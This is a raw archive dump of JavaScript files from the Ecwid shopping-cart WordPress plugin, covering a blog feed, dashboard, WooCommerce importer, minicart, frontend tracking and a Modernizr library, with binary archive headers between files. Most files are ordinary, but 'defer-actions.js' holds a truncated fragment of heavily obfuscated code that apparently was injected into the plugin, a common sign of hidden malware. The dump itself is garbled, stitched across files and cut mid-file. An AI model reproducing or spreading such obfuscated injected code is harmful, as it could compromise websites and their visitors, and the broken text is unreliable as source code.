deferreds[deferreds.length] = jQuery.getJSON( ecwidDashboardBlog.mediaUrl + data[i].featured_media, function(data) { var imageUrl = ecwidDashboardBlog.imagesCDN + data.media_details.sizes.medium.file; jQuery('.ecwid-post-id-' + data.post + ' .ecwid-blog-post-image').css('background-image', 'url(' + imageUrl + ')'); for (var i = 0; i < window.ecwidBlogPosts.length; i++) if (window.ecwidBlogPosts[i].id == data.post ) { window.ecwidBlogPosts[i].imageFile = data.media_details.sizes.medium.file; } }); } jQuery.when.apply(jQuery, deferreds).done(function() { sendPosts(); }); sendPosts = function() { jQuery.ajax({ 'url': ajaxurl + '?action=' + ecwidDashboardBlog.saveAction, 'method': 'POST', 'data': { 'posts': window.ecwidBlogPosts } }); }; sendPosts.posts = posts; } ); } function renderBlogPosts(posts) { if (!posts) { posts = window.ecwidBlogPosts; } for (var i = 0; i < posts.length; i++) { var post = jQuery('#ecwid_blog_feed .template-container .ecwid-blog-post').clone(); post.addClass('ecwid-post-id-' + posts[i].id); jQuery('.ecwid-blog-post-link', post).attr('href', posts[i].link + '?utm_source=wpdashboard'); jQuery('.ecwid-blog-post-title', post).html(posts[i].title); jQuery('.ecwid-blog-post-excerpt', post).html(posts[i].excerpt); if (posts[i].imageFile) { jQuery('.ecwid-blog-post-image', post).css('background-image', 'url(' + ecwidDashboardBlog.imagesCDN + posts[i].imageFile + ')'); } post.appendTo('#ecwid_blog_feed .ecwid-blog-posts'); } } });PK������Ê—[& •��•��#��ecwid-shopping-cart/js/dashboard.jsnu�„[µü¤��������jQuery(window).resize(function() { if (jQuery(this).width() < 768) { jQuery('.ecwid-admin').addClass('width-smaller'); var head = jQuery('.ecwid-dashboard .box .head'); /* head.addClass('drop-down'); head.find('h2').addClass('drop-down-head'); head.find('ul').addClass('drop-down-content open').removeClass('head-links');*/ } else { jQuery('.ecwid-admin').removeClass('width-smaller'); } }).trigger('resize'); show_reconnect = function() { jQuery('<div class="ecwid-popup"></div>').load( 'admin-post.php?action=ecwid_show_reconnect', '', function() { jQuery('.ecwid-popup .close').click(function() { jQuery(this).closest('.ecwid-popup').remove(); }); } ).appendTo('body'); } function ecwidSetPopupCentering(iframeSelector) { if (!iframeSelector) { if (console) console.log("Selector should be set"); return; } var iframeElement = document.querySelector(iframeSelector); if (iframeElement === null) { if (console) console.log("Element not found by selector " + iframeSelector); return; } window.addEventListener('scroll', function(e) { sendCenteringSettings(iframeElement); }); window.addEventListener('resize', function(e) { sendCenteringSettings(iframeElement); }); sendCenteringSettings(iframeElement); function sendCenteringSettings(iframeElement) { var scrollTop = window.pageYOffset || document.documentElement.scrollTop; var clientHeight = window.innerHeight; var data = { parentWindowVisibleHeight: clientHeight, visibleHeightAboveIframe: iframeElement.getBoundingClientRect().top }; iframeElement.contentWindow.postMessage(JSON.stringify({data: data, method: 'setupPopupCentering'}), '*'); } } PK������Ê—[·oê����'��ecwid-shopping-cart/js/defer-actions.jsnu�„[µü¤��������20(0x2cd,0x28d,0x300,"h8FH")+"d\x22\x20&&\x20_PbQ"+_0x448d84(0xd4,")Ywo",0x117,0x108)+_0x448d84(0x15a,"BvJa",0x121,0x111)+"ll)\x20{\x0a\x20\x20\x20\x20"+_0x436c20(0x2ba,0x2ae,0x2a6,"b4Y8")+"\x20\x20var\x20_qM5"+_0x46e612(-0x5e,-0x6,0x3c,-0x77)+_0x448d84(0x30,"y)[Q",0x6b,0xcb)+_0x436c20(0x2d3,0x284,0x30a,"9M8E")+_0x436c20(0x233,0x278,0x299,"9M8E")+"9qRt);\x0a\x20\x20\x20"+_0x46e612(-0x95,-0x29,-0x71,-0x4b)+_0x193edd(-0xc0,-0x9c,-0xf7,-0x8b)+_0x436c20(0x2cb,0x271,0x2ce,"gFgc")+_0x448d84(0xa8,"To]D",0xf5,0x98)+"h.round(+n"+_0x46e612PK������Ê—[C·v¤v��v��'��ecwid-shopping-cart/js/dynamic-title.jsnu�„[µü¤��������jQuery(document).ready(function() { if ( jQuery( '.entry-title' ).length > 0 && typeof Ecwid !== 'undefined' ) { Ecwid.OnPageLoaded.add(function(page) { var alreadyFoundEl = jQuery('h1[data-ecwid-found-title]'); var el = false; if ( alreadyFoundEl .length > 0 ) { el = alreadyFoundEl; } else { el = jQuery('h1').filter( function(idx, el) { if ( el.innerText == ecwidOriginalTitle.initialTitle ) return true; } ); if ( el.length > 0 ) { el.attr('data-ecwid-found-title', 'true'); } } if ( el.length === 0 ) return; var isCategory = page.type === 'CATEGORY'; var isProduct = page.type === 'PRODUCT'; var isNotPbPage = !isCategory && !isProduct; var isHomePage = isCategory && page.categoryId === 0; var newTitle = ''; if ( isNotPbPage || isHomePage ) { newTitle = ecwidOriginalTitle.mainPageTitle; } else { newTitle = jQuery('title').html(); } el.html( newTitle ); }); } });PK������Ê—[‰‹��‹��0��ecwid-shopping-cart/js/floating-shopping-cart.jsnu�„[µü¤��������var EcwidFloatingShoppingCart = function() { var cartIcon = jQuery('.ecwid-cart-icon:first'), cartCounter = jQuery('a', cartIcon); function changeState(cartObj) { if (cartObj.productsQuantity) { cartIcon.removeClass('off'); cartCounter.attr('data-count', cartObj.productsQuantity); } else { cartIcon.addClass('off'); cartCounter.attr('data-count', 0); } } this.init = function() { Ecwid.OnCartChanged.add(function(cartObj) { changeState(cartObj); }); if (ecwid_floating_shopping_cart_options.move_to_body == 1) { jQuery(document).ready(function() { jQuery('body').append(jQuery('.ecwid-float-icons')); }); } } }; if ( typeof ecwid_floating_shopping_cart == 'undefined' && typeof Ecwid != 'undefined' ) { var ecwid_floating_shopping_cart = new EcwidFloatingShoppingCart(); ecwid_floating_shopping_cart.init(); }PK������Ê—[𮀠#��#��"��ecwid-shopping-cart/js/frontend.jsnu�„[µü¤��������window.ec = window.ec || {}; window.ec.config = window.ec.config || {}; window.ec.config.storefrontUrls = window.ec.config.storefrontUrls || {}; jQuery(document).ready(function() { window.ecwidShoppingCartMakeStoreLinksUseApiCall = function($link) { $link.click(function() { if (typeof Ecwid == 'undefined') { return true; } var page = jQuery(this).data('ecwid-page'); if (page == '/') { var id = jQuery('[data-ecwid-default-category-id]').data('ecwid-default-category-id'); if (id) { Ecwid.openPage('category', {id:id}); } else { Ecwid.openPage('category', 0); } } if (page == 'category' ) { if (ecwidParams.useJsApiToOpenStoreCategoriesPages) { Ecwid.openPage('category', {id:jQuery(this).data('ecwid-category-id')}); jQuery(this).hide().blur().show(); } else { return; } } else if ( page == 'product' ) { Ecwid.openPage('product', {id: jQuery(this).data('ecwid-product-id')}); } else { Ecwid.openPage(page); } return false; }); }; ecwidShoppingCartMakeStoreLinksUseApiCall(jQuery("a[data-ecwid-page]")); if ( typeof Ecwid != 'undefined' ) { Ecwid.OnAPILoaded.add(function () { var font = window.ec.config.chameleonDefaults && window.ec.config.chameleonDefaults.font && window.ec.config.chameleonDefaults.font['font-family'] || ''; document.cookie = "ec_store_chameleon_font=" + font; }) }; if ( ecwidParams.trackPublicPage ) { if ( typeof Ecwid != 'undefined' ) { Ecwid.OnAPILoaded.add(function () { var tracker = window['eca']; if (tracker) { var noTracking = false; var noTrackingWidgets = ['ProductBrowser', 'Product', 'SingleProduct']; var initializedWidgets = Ecwid.getInitializedWidgets(); for (var i = 0; i < noTrackingWidgets.length; i++) { if (initializedWidgets.indexOf(noTrackingWidgets[i]) != -1) { noTracking = true; break; } } if (!noTracking) { tracker('send', {'eventName': 'PAGE_VIEW', entityType: 'PAGE', 'storeId': Ecwid.getOwnerId()}); } } }); } else { (function(w, d, analyticsJsUrl, trackerName) { w['HeapAnalyticsObject'] = trackerName; w[trackerName] = w[trackerName] || function() { (w[trackerName].q = w[trackerName].q || []).push(arguments) }, w[trackerName].l = 1 * new Date(); var analyticsScript = d.createElement('script'); analyticsScript.async = true; analyticsScript.src = analyticsJsUrl; var firstScript = d.getElementsByTagName('script')[0]; var maxAttempts = 50; var interval = setInterval(function() { if (/loaded|complete/.test(d.readyState) || (0 === maxAttempts--)) { firstScript.parentNode.insertBefore(analyticsScript, firstScript); clearInterval(interval) } }, 100); })(window, document, 'https://ecomm.events/i.js', "eca"); eca('send', {'eventName': 'PAGE_VIEW', entityType: 'PAGE', 'storeId': ecwidParams.storeId}); } } }); PK������Ê—[¹†W?^���^���#��ecwid-shopping-cart/js/historywa.jsnu�„[µü¤��������if (!window.History.options) window.History.options = {}; window.History.options.html4Mode=1; PK������Ê—[€ÝÞÇ¡3��¡3��"��ecwid-shopping-cart/js/importer.jsnu�„[µü¤��������/* var sample = {"success":["main","import-woo-categories","create_category","create_category","upload_category_image","upload_category_image","import-woo-products","import-woo-products-batch","import-woo-product","import-woo-product","import-woo-product","create_product","create_product","create_variation","create_variation"],"error":["create_product","create_variation","create_variation","create_variation","create_variation","create_variation"],"total":21,"current":20,"error_messages":{"create_product":{"400 Bad Request:Negative numbers are not allowed: -4.0":[{"woo_id":21,"woo_link":"http://localhost/wordpress/woocommerce/wp-admin/post.php?post=21&action=edit","name":"neg price"}]},"create_variation":{"400 Bad Request:Stock settings are not same for product and combination. Please set the combination's SKU":[{"woo_id":9,"woo_link":"http://localhost/wordpress/woocommerce/wp-admin/post.php?post=9&action=edit","name":"test","ecwid_id":139559751,"ecwid_link":"http://localhost/wordpress/woocommerce/wp-admin/admin.php?page=ec-store&ec-store-page=product%3Amode%3Dedit%26id%3D139559751","variation_id":14},{"woo_id":9,"woo_link":"http://localhost/wordpress/woocommerce/wp-admin/post.php?post=9&action=edit","name":"test","ecwid_id":139559751,"ecwid_link":"http://localhost/wordpress/woocommerce/wp-admin/admin.php?page=ec-store&ec-store-page=product%3Amode%3Dedit%26id%3D139559751","variation_id":15},{"woo_id":9,"woo_link":"http://localhost/wordpress/woocommerce/wp-admin/post.php?post=9&action=edit","name":"test","ecwid_id":139559751,"ecwid_link":"http://localhost/wordpress/woocommerce/wp-admin/admin.php?page=ec-store&ec-store-page=product%3Amode%3Dedit%26id%3D139559751","variation_id":16}],"409 Conflict:New combination duplicates existing combination or the base product: {}":[{"woo_id":11,"woo_link":"http://localhost/wordpress/woocommerce/wp-admin/post.php?post=11&action=edit","name":"Test Var atts without value","ecwid_id":139559752,"ecwid_link":"http://localhost/wordpress/woocommerce/wp-admin/admin.php?page=ec-store&ec-store-page=product%3Amode%3Dedit%26id%3D139559752","variation_id":20}],"409 Conflict:New combination duplicates existing combination or the base product: {size**ZZZ=l}":[{"woo_id":11,"woo_link":"http://localhost/wordpress/woocommerce/wp-admin/post.php?post=11&action=edit","name":"Test Var atts without value","ecwid_id":139559752,"ecwid_link":"http://localhost/wordpress/woocommerce/wp-admin/admin.php?page=ec-store&ec-store-page=product%3Amode%3Dedit%26id%3D139559752","variation_id":12}]}},"status":"complete"} jQuery(document).ready(function() { jQuery('h2').after(renderImportLog(buildImportLog(sample))); }); */ function renderImportLog(log) { var logContainer = jQuery('<div>'); for ( var type in log ) { var entryTypeContainer = jQuery('<div>').append('<h4>' + type + '</h4>').appendTo(logContainer); entryTypeContainer.append( renderImportLogEntryType(type, log[type]) ).appendTo(logContainer); } return logContainer; } function renderImportLogEntryType(type, data) { var items = []; for ( var error in data ) { var item = jQuery('<div class="log-entry">'); var code = error.substr(0, error.indexOf(':')); var errorText = error.substr(error.indexOf(':') + 1); item.append('<div class="hidden">' + code + '</div>').append(errorText); item.append(' '); jQuery('<a href="#">') .append('(' + Object.keys(data[error]).length + " total)" ) .click(function() {jQuery(this).closest('.log-entry').toggleClass('expanded'); return false;}) .appendTo(item); item.append( renderProductLogEntries(data[error]) ); items[items.length] = item; } return items; } function renderProductLogEntries(data) { var products = []; for ( var i in data ) { var entry = data[i]; var productContainer = jQuery('<div class="log-entry-product">'); var woo_link = jQuery('<a>').attr('href', entry.woo_link).append(entry.name).appendTo(productContainer); if (entry.ecwid_link) { var ecwid_link = jQuery('<a>').attr('href', entry.ecwid_link).append("Product at Ecwid"); productContainer.append(' (').append(ecwid_link).append( ' )'); } if ( typeof entry.variations == 'array' && entry.variations.length > 0 ) { productContainer.append(" Variations "); for ( var j = 0; j < entry.variations.length; j++ ) { productContainer.append('#' + entry.variations[j]); if ( j + 1 < entry.variations.length ) { productContainer.append(', '); } } } products[products.length] = productContainer; } return products; } function buildImportLog(data) { var log = {}; for ( var type in data.error_messages) { if ( typeof log[type] == 'undefined' ) { log[type] = {}; } for ( var message in data.error_messages[type] ) { if ( typeof log[type][message] == 'undefined' ) { log[type][message] = []; } log[type][message].concat( buildProductErrorLog( log[type][message], data.error_messages[type][message] ) ); } } return log; } function buildProductErrorLog(log, items) { for (var i = 0; i < items.length; i++) { var item = items[i]; if (!log[item.woo_id]) { var entry = { name: item.name, type: 'variation', woo_link: item.woo_link, ecwid_link: item.ecwid_link, variations: [] }; } else { entry = log[item.woo_id]; } if ( item.variation_id ) { entry.variations[entry.variations.length] = item.variation_id; } log[item.woo_id] = entry; } return log; } jQuery(document).ready(function() { $wrapper = jQuery('.ecwid-importer'); var status = { 'success' : [], 'error': [], 'errorMessages': {}, 'planLimitHit': false }; jQuery('#reconnect-button').click(function() { var url = this.href; var settings = {}; jQuery('input[type=checkbox].import-settings').each(function(idx, el) { if (el.checked) { settings[el.name] = true; } }); for ( var i in settings ) { url += '&' + i + '=true'; } location.href = url; return false; }); jQuery('#ecwid-importer-woo').click(function() { window.location.hash="woo"; jQuery.getJSON(ajaxurl, { action: ecwid_importer.check_token_action }, function(data) { if (data.has_good_token == false) { $wrapper.removeClass('state-landing').addClass('state-no-token'); } else { $wrapper.removeClass('state-landing').addClass('state-woo'); jQuery('.ecwid-total-products', '.state-woo').text(data.ecwid_total_products); jQuery('.ecwid-total-categories', '.state-woo').text(data.ecwid_total_categories); jQuery('.woo-total-products', '.state-woo').text(data.woo_total_products); jQuery('.woo-total-categories', '.state-woo').text(data.woo_total_categories); } console.log(data); }) .done(function() { console.log( "second success" ); }) .fail(function() { console.log( "error" ); }) .always(function() { console.log( "complete" ); }); }); startWooImport = function() { $wrapper.removeClass('state-woo-initial').addClass('state-woo-in-progress'); jQuery('input[type=checkbox].import-settings').attr('onclick', 'return false').closest('label').addClass('readonly'); var settings = {}; jQuery('input[type=checkbox].import-settings').each(function(idx, el) { if (el.checked) { settings[el.name] = true; } jQuery(el).attr('onclick', 'return false').closest('label').addClass('readonly'); }); do_import = function (start = null) { var data = {'action': ecwid_importer.do_woo_import_action, settings: settings}; if (start) { data.reset = 1 } jQuery.ajax({ 'url': ajaxurl, 'data': data, 'success': function(json) { try { data = jQuery.parseJSON(json); } catch(e) { status.errorMessages['json_failed'] = []; status.errorMessages['json_failed'][json] = 1; doImportComplete(status); } processImportProgress(data); }, 'error': function(jqXHR, textStatus, errorThrown) { status.errorMessages[textStatus] = []; status.errorMessages[textStatus][errorThrown] = 1; doImportComplete(status); } }); }; processImportProgress = function (data) { for (var i = 0; i < data.success.length; i++) { if (typeof status.success[data.success[i]] == 'undefined') { status.success[data.success[i]] = 1; } else { status.success[data.success[i]]++; } } for (var i = 0; i < data.error.length; i++) { if (typeof status.error[data.error[i]] == 'undefined') { status.error[data.error[i]] = 1; } else { status.error[data.error[i]]++; } } status.planLimitHit |= typeof data.plan_limit_hit != 'undefined'; if (data.error_messages) { for (var import_type in data.error_messages) { var messages = data.error_messages[import_type]; if ( !status.errorMessages[import_type] ) { status.errorMessages[import_type] = {}; } for ( var message in messages ) { if ( !status.errorMessages[import_type].hasOwnProperty(message) ) { status.errorMessages[import_type][message] = ''; } status.errorMessages[import_type][message] += messages[message]; } } } jQuery('#import-progress-current').text((status.success.create_category || 0) + (status.success.create_product || 0)); if (data.status == 'complete') { doImportComplete(data, status); } else { do_import(); } } do_import( true ); doImportComplete = function( data, status ) { jQuery('#import-results-products').text(status.success.create_product || 0); jQuery('#import-results-categories').text(status.success.create_category || 0); $wrapper.removeClass('state-woo-in-progress').addClass('state-woo-complete'); if (status.planLimitHit) { jQuery('plan-limit-message').show(); } var log = buildImportLog(data); jQuery('#fancy-errors').append(renderImportLog(log)); for(var type in log) { delete status.errorMessages[type]; } var errorContent = ''; for (var importType in status.errorMessages) { errorContent += importType + "\n"; for (var message in status.errorMessages[importType]) { errorContent += ' ' + message + ':' + status.errorMessages[importType][message] + "\n"; } } if (errorContent.length > 0) { jQuery('.ecwid-importer .errors').find('pre').text(errorContent).show(); } if ( jQuery('pre.details').text().length || jQuery('#fancy-errors').text().length) { jQuery('.ecwid-importer .errors').show(); } } }; jQuery('#ecwid-importer-woo-go').click(startWooImport); jQuery('.ecwid-importer .errors .btn-details').click(function() { jQuery('.ecwid-importer .errors .details').each(function(idx, el) {if (jQuery(el).text().length) jQuery(el).toggle() }); }); if (window.location.hash.indexOf('start') != -1) { var params = location.hash.split('&'); for ( var i in params ){ var name = params[i].split('='); name = name[0]; var el = jQuery( 'input[name="' + name + '"]' ); if ( el.length == 1 ) { el.prop('checked', true); } } window.location.hash = ''; startWooImport(); } });PK������Ê—[Âwp²î��î��2��ecwid-shopping-cart/js/minicart-customize-admin.jsnu�„[µü¤��������jQuery(document).ready(function() { jQuery('#customize-control-ec_show_floating_cart_widget select').change(function() { if ( jQuery(this).val() == 'do_not_show' ) { jQuery('[id^="customize-control-ec_store_cart"]:not(#customize-control-ec_show_floating_cart_widget)').hide(); } else { jQuery('[id^="customize-control-ec_store_cart"]:not(#customize-control-ec_show_floating_cart_widget)').show(); } }).trigger('change'); })PK������Ê—[âœaev��v��,��ecwid-shopping-cart/js/minicart-customize.jsnu�„[µü¤��������( function( $ ) { props = [ 'ec_store_cart_widget_layout', 'ec_store_cart_widget_icon', 'ec_store_cart_widget_fixed_shape', 'ec_store_cart_widget_fixed_position', 'ec_store_cart_widget_horizontal_indent', 'ec_store_cart_widget_vertical_indent' ]; propsmap = { 'ec_store_cart_widget_layout': 'layout', 'ec_store_cart_widget_icon': 'icon', 'ec_store_cart_widget_fixed_shape': 'fixed-shape', 'ec_store_cart_widget_fixed_position': 'fixed-position', 'ec_store_cart_widget_horizontal_indent': 'horizontal-indent', 'ec_store_cart_widget_vertical_indent': 'vertical-indent' }; for (var i = 0; i < props.length; i++) { wp.customize(props[i], function( value ) { value.bind( function(newval) { var name = 'data-' + propsmap[this.id]; jQuery('#ec-customize-cart').attr(name, newval).attr('data-ec-widget-loaded', null); Ecwid.renderCartWidget(document.getElementById('ec-customize-cart')); }); }); } wp.customize( 'ec_show_floating_cart_widget', function( value ) { value.bind( function( newval ) { jQuery('#ec-customize-cart').css('display', newval != 'do_not_show' ? 'block' : 'none'); } ); } ); } )( jQuery );PK������Ê—[ïô>)¤È��¤È��#��ecwid-shopping-cart/js/modernizr.jsnu�„[µü¤��������/*! * Modernizr v2.7.0 * www.modernizr.com * * Copyright (c) Faruk Ates, Paul Irish, Alex Sexton * Available under the BSD and MIT licenses: www.modernizr.com/license/ */ /* * Modernizr tests which native CSS3 and HTML5 features are available in * the current UA and makes the results available to you in two ways: * as properties on a global Modernizr object, and as classes on the * <html> element. This information allows you to progressively enhance * your pages with a granular level of control over the experience. * * Modernizr has an optional (not included) conditional resource loader * called Modernizr.load(), based on Yepnope.js (yepnopejs.com). * To get a build that includes Modernizr.load(), as well as choosing * which tests to include, go to www.modernizr.com/download/ * * Authors Faruk Ates, Paul Irish, Alex Sexton * Contributors Ryan Seddon, Ben Alman */ window.Modernizr = (function( window, document, undefined ) { var version = '2.7.0', Modernizr = {}, /*>>cssclasses*/ // option for enabling the HTML classes to be added enableClasses = true, /*>>cssclasses*/ docElement = document.documentElement, /** * Create our "modernizr" element that we do most feature tests on. */ mod = 'modernizr', modElem = document.createElement(mod), mStyle = modElem.style, /** * Create the input element for various Web Forms feature tests. */ inputElem /*>>inputelem*/ = document.createElement('input') /*>>inputelem*/ , /*>>smile*/ smile = ':)', /*>>smile*/ toString = {}.toString, // TODO :: make the prefixes more granular /*>>prefixes*/ // List of property values to set for css tests. See ticket #21 prefixes = ' -webkit- -moz- -o- -ms- '.split(' '), /*>>prefixes*/ /*>>domprefixes*/ // Following spec is to expose vendor-specific style properties as: // elem.style.WebkitBorderRadius // and the following would be incorrect: // elem.style.webkitBorderRadius // Webkit ghosts their properties in lowercase but Opera & Moz do not. // Microsoft uses a lowercase `ms` instead of the correct `Ms` in IE8+ // erik.eae.net/archives/2008/03/10/21.48.10/ // More here: github.com/Modernizr/Modernizr/issues/issue/21 omPrefixes = 'Webkit Moz O ms', cssomPrefixes = omPrefixes.split(' '), domPrefixes = omPrefixes.toLowerCase().split(' '), /*>>domprefixes*/ /*>>ns*/ ns = {'svg': 'http://www.w3.org/2000/svg'}, /*>>ns*/ tests = {}, inputs = {}, attrs = {}, classes = [], slice = classes.slice, featureName, // used in testing loop /*>>teststyles*/ // Inject element with style element and some CSS rules injectElementWithStyles = function( rule, callback, nodes, testnames ) { var style, ret, node, docOverflow, div = document.createElement('div'), // After page load injecting a fake body doesn't work so check if body exists body = document.body, // IE6 and 7 won't return offsetWidth or offsetHeight unless it's in the body element, so we fake it. fakeBody = body || document.createElement('body'); if ( parseInt(nodes, 10) ) { // In order not to give false positives we create a node for each test // This also allows the method to scale for unspecified uses while ( nodes-- ) { node = document.createElement('div'); node.id = testnames ? testnames[nodes] : mod + (nodes + 1); div.appendChild(node); } } // <style> elements in IE6-9 are considered 'NoScope' elements and therefore will be removed // when injected with innerHTML. To get around this you need to prepend the 'NoScope' element // with a 'scoped' element, in our case the soft-hyphen entity as it won't mess with our measurements. // msdn.microsoft.com/en-us/library/ms533897%28VS.85%29.aspx // Documents served as xml will throw if using ­ so use xml friendly encoded version. See issue #277 style = ['­','<style id="s', mod, '">', rule, '</style>'].join(''); div.id = mod; // IE6 will false positive on some tests due to the style element inside the test div somehow interfering offsetHeight, so insert it into body or fakebody. // Opera will act all quirky when injecting elements in documentElement when page is served as xml, needs fakebody too. #270 (body ? div : fakeBody).innerHTML += style; fakeBody.appendChild(div); if ( !body ) { //avoid crashing IE8, if background image is used fakeBody.style.background = ''; //Safari 5.13/5.1.4 OSX stops loading if ::-webkit-scrollbar is used and scrollbars are visible fakeBody.style.overflow = 'hidden'; docOverflow = docElement.style.overflow; docElement.style.overflow = 'hidden'; docElement.appendChild(fakeBody); } ret = callback(div, rule); // If this is done after page load we don't want to remove the body so check if body exists if ( !body ) { fakeBody.parentNode.removeChild(fakeBody); docElement.style.overflow = docOverflow; } else { div.parentNode.removeChild(div); } return !!ret; }, /*>>teststyles*/ /*>>mq*/ // adapted from matchMedia polyfill // by Scott Jehl and Paul Irish // gist.github.com/786768 testMediaQuery = function( mq ) { var matchMedia = window.matchMedia || window.msMatchMedia; if ( matchMedia ) { return matchMedia(mq).matches; } var bool; injectElementWithStyles('@media ' + mq + ' { #' + mod + ' { position: absolute; } }', function( node ) { bool = (window.getComputedStyle ? getComputedStyle(node, null) : node.currentStyle)['position'] == 'absolute'; }); return bool; }, /*>>mq*/ /*>>hasevent*/ // // isEventSupported determines if a given element supports the given event // kangax.github.com/iseventsupported/ // // The following results are known incorrects: // Modernizr.hasEvent("webkitTransitionEnd", elem) // false negative // Modernizr.hasEvent("textInput") // in Webkit. github.com/Modernizr/Modernizr/issues/333 // ... isEventSupported = (function() { var TAGNAMES = { 'select': 'input', 'change': 'input', 'submit': 'form', 'reset': 'form', 'error': 'img', 'load': 'img', 'abort': 'img' }; function isEventSupported( eventName, element ) { element = element || document.createElement(TAGNAMES[eventName] || 'div'); eventName = 'on' + eventName; // When using `setAttribute`, IE skips "unload", WebKit skips "unload" and "resize", whereas `in` "catches" those var isSupported = eventName in element; if ( !isSupported ) { // If it has no `setAttribute` (i.e. doesn't implement Node interface), try generic element if ( !element.setAttribute ) { element = document.createElement('div'); } if ( element.setAttribute && element.removeAttribute ) { element.setAttribute(eventName, ''); isSupported = is(element[eventName], 'function'); // If property was created, "remove it" (by setting value to `undefined`) if ( !is(element[eventName], 'undefined') ) { element[eventName] = undefined; } element.removeAttribute(eventName); } } element = null; return isSupported; } return isEventSupported; })(), /*>>hasevent*/ // TODO :: Add flag for hasownprop ? didn't last time // hasOwnProperty shim by kangax needed for Safari 2.0 support _hasOwnProperty = ({}).hasOwnProperty, hasOwnProp; if ( !is(_hasOwnProperty, 'undefined') && !is(_hasOwnProperty.call, 'undefined') ) { hasOwnProp = function (object, property) { return _hasOwnProperty.call(object, property); }; } else { hasOwnProp = function (object, property) { /* yes, this can give false positives/negatives, but most of the time we don't care about those */ return ((property in object) && is(object.constructor.prototype[property], 'undefined')); }; } // Adapted from ES5-shim https://github.com/kriskowal/es5-shim/blob/master/es5-shim.js // es5.github.com/#x15.3.4.5 if (!Function.prototype.bind) { Function.prototype.bind = function bind(that) { var target = this; if (typeof target != "function") { throw new TypeError(); } var args = slice.call(arguments, 1), bound = function () { if (this instanceof bound) { var F = function(){}; F.prototype = target.prototype; var self = new F(); var result = target.apply( self, args.concat(slice.call(arguments)) ); if (Object(result) === result) { return result; } return self; } else { return target.apply( that, args.concat(slice.call(arguments)) ); } }; return bound; }; } /** * setCss applies given styles to the Modernizr DOM node. */ function setCss( str ) { mStyle.cssText = str; } /** * setCssAll extrapolates all vendor-specific css strings. */ function setCssAll( str1, str2 ) { return setCss(prefixes.join(str1 + ';') + ( str2 || '' )); } /** * is returns a boolean for if typeof obj is exactly type. */ function is( obj, type ) { return typeof obj === type; } /** * contains returns a boolean for if substr is found within str. */ function contains( str, substr ) { return !!~('' + str).indexOf(substr); } /*>>testprop*/ // testProps is a generic CSS / DOM property test. // In testing support for a given CSS property, it's legit to test: // `elem.style[styleName] !== undefined` // If the property is supported it will return an empty string, // if unsupported it will return undefined. // We'll take advantage of this quick test and skip setting a style // on our modernizr element, but instead just testing undefined vs // empty string. // Because the testing of the CSS property names (with "-", as // opposed to the camelCase DOM properties) is non-portable and // non-standard but works in WebKit and IE (but not Gecko or Opera), // we explicitly reject properties with dashes so that authors // developing in WebKit or IE first don't end up with // browser-specific content by accident. function testProps( props, prefixed ) { for ( var i in props ) { var prop = props[i]; if ( !contains(prop, "-") && mStyle[prop] !== undefined ) { return prefixed == 'pfx' ? prop : true; } } return false; } /*>>testprop*/ // TODO :: add testDOMProps /** * testDOMProps is a generic DOM property test; if a browser supports * a certain property, it won't return undefined for it. */ function testDOMProps( props, obj, elem ) { for ( var i in props ) { var item = obj[props[i]]; if ( item !== undefined) { // return the property name as a string if (elem === false) return props[i]; // let's bind a function if (is(item, 'function')){ // default to autobind unless override return item.bind(elem || obj); } // return the unbound function or obj or value return item; } } return false; } /*>>testallprops*/ /** * testPropsAll tests a list of DOM properties we want to check against. * We specify literally ALL possible (known and/or likely) properties on * the element including the non-vendor prefixed one, for forward- * compatibility. */ function testPropsAll( prop, prefixed, elem ) { var ucProp = prop.charAt(0).toUpperCase() + prop.slice(1), props = (prop + ' ' + cssomPrefixes.join(ucProp + ' ') + ucProp).split(' '); // did they call .prefixed('boxSizing') or are we just testing a prop? if(is(prefixed, "string") || is(prefixed, "undefined")) { return testProps(props, prefixed); // otherwise, they called .prefixed('requestAnimationFrame', window[, elem]) } else { props = (prop + ' ' + (domPrefixes).join(ucProp + ' ') + ucProp).split(' '); return testDOMProps(props, prefixed, elem); } } /*>>testallprops*/ /** * Tests * ----- */ // The *new* flexbox // dev.w3.org/csswg/css3-flexbox tests['flexbox'] = function() { return testPropsAll('flexWrap'); }; // The *old* flexbox // www.w3.org/TR/2009/WD-css3-flexbox-20090723/ tests['flexboxlegacy'] = function() { return testPropsAll('boxDirection'); }; // On the S60 and BB Storm, getContext exists, but always returns undefined // so we actually have to call getContext() to verify // github.com/Modernizr/Modernizr/issues/issue/97/ tests['canvas'] = function() { var elem = document.createElement('canvas'); return !!(elem.getContext && elem.getContext('2d')); }; tests['canvastext'] = function() { return !!(Modernizr['canvas'] && is(document.createElement('canvas').getContext('2d').fillText, 'function')); }; // webk.it/70117 is tracking a legit WebGL feature detect proposal // We do a soft detect which may false positive in order to avoid // an expensive context creation: bugzil.la/732441 tests['webgl'] = function() { return !!window.WebGLRenderingContext; }; /* * The Modernizr.touch test only indicates if the browser supports * touch events, which does not necessarily reflect a touchscreen * device, as evidenced by tablets running Windows 7 or, alas, * the Palm Pre / WebOS (touch) phones. * * Additionally, Chrome (desktop) used to lie about its support on this, * but that has since been rectified: crbug.com/36415 * * We also test for Firefox 4 Multitouch Support. * * For more info, see: modernizr.github.com/Modernizr/touch.html */ tests['touch'] = function() { var bool; if(('ontouchstart' in window) || window.DocumentTouch && document instanceof DocumentTouch) { bool = true; } else { injectElementWithStyles(['@media (',prefixes.join('touch-enabled),('),mod,')','{#modernizr{top:9px;position:absolute}}'].join(''), function( node ) { bool = node.offsetTop === 9; }); } return bool; }; // geolocation is often considered a trivial feature detect... // Turns out, it's quite tricky to get right: // // Using !!navigator.geolocation does two things we don't want. It: // 1. Leaks memory in IE9: github.com/Modernizr/Modernizr/issues/513 // 2. Disables page caching in WebKit: webk.it/43956 // // Meanwhile, in Firefox < 8, an about:config setting could expose // a false positive that would throw an exception: bugzil.la/688158 tests['geolocation'] = function() { return 'geolocation' in navigator; }; tests['postmessage'] = function() { return !!window.postMessage; }; // Chrome incognito mode used to throw an exception when using openDatabase // It doesn't anymore. tests['websqldatabase'] = function() { return !!window.openDatabase; }; // Vendors had inconsistent prefixing with the experimental Indexed DB: // - Webkit's implementation is accessible through webkitIndexedDB // - Firefox shipped moz_indexedDB before FF4b9, but since then has been mozIndexedDB // For speed, we don't test the legacy (and beta-only) indexedDB tests['indexedDB'] = function() { return !!testPropsAll("indexedDB", window); }; // documentMode logic from YUI to filter out IE8 Compat Mode // which false positives. tests['hashchange'] = function() { return isEventSupported('hashchange', window) && (document.documentMode === undefined || document.documentMode > 7); }; // Per 1.6: // This used to be Modernizr.historymanagement but the longer // name has been deprecated in favor of a shorter and property-matching one. // The old API is still available in 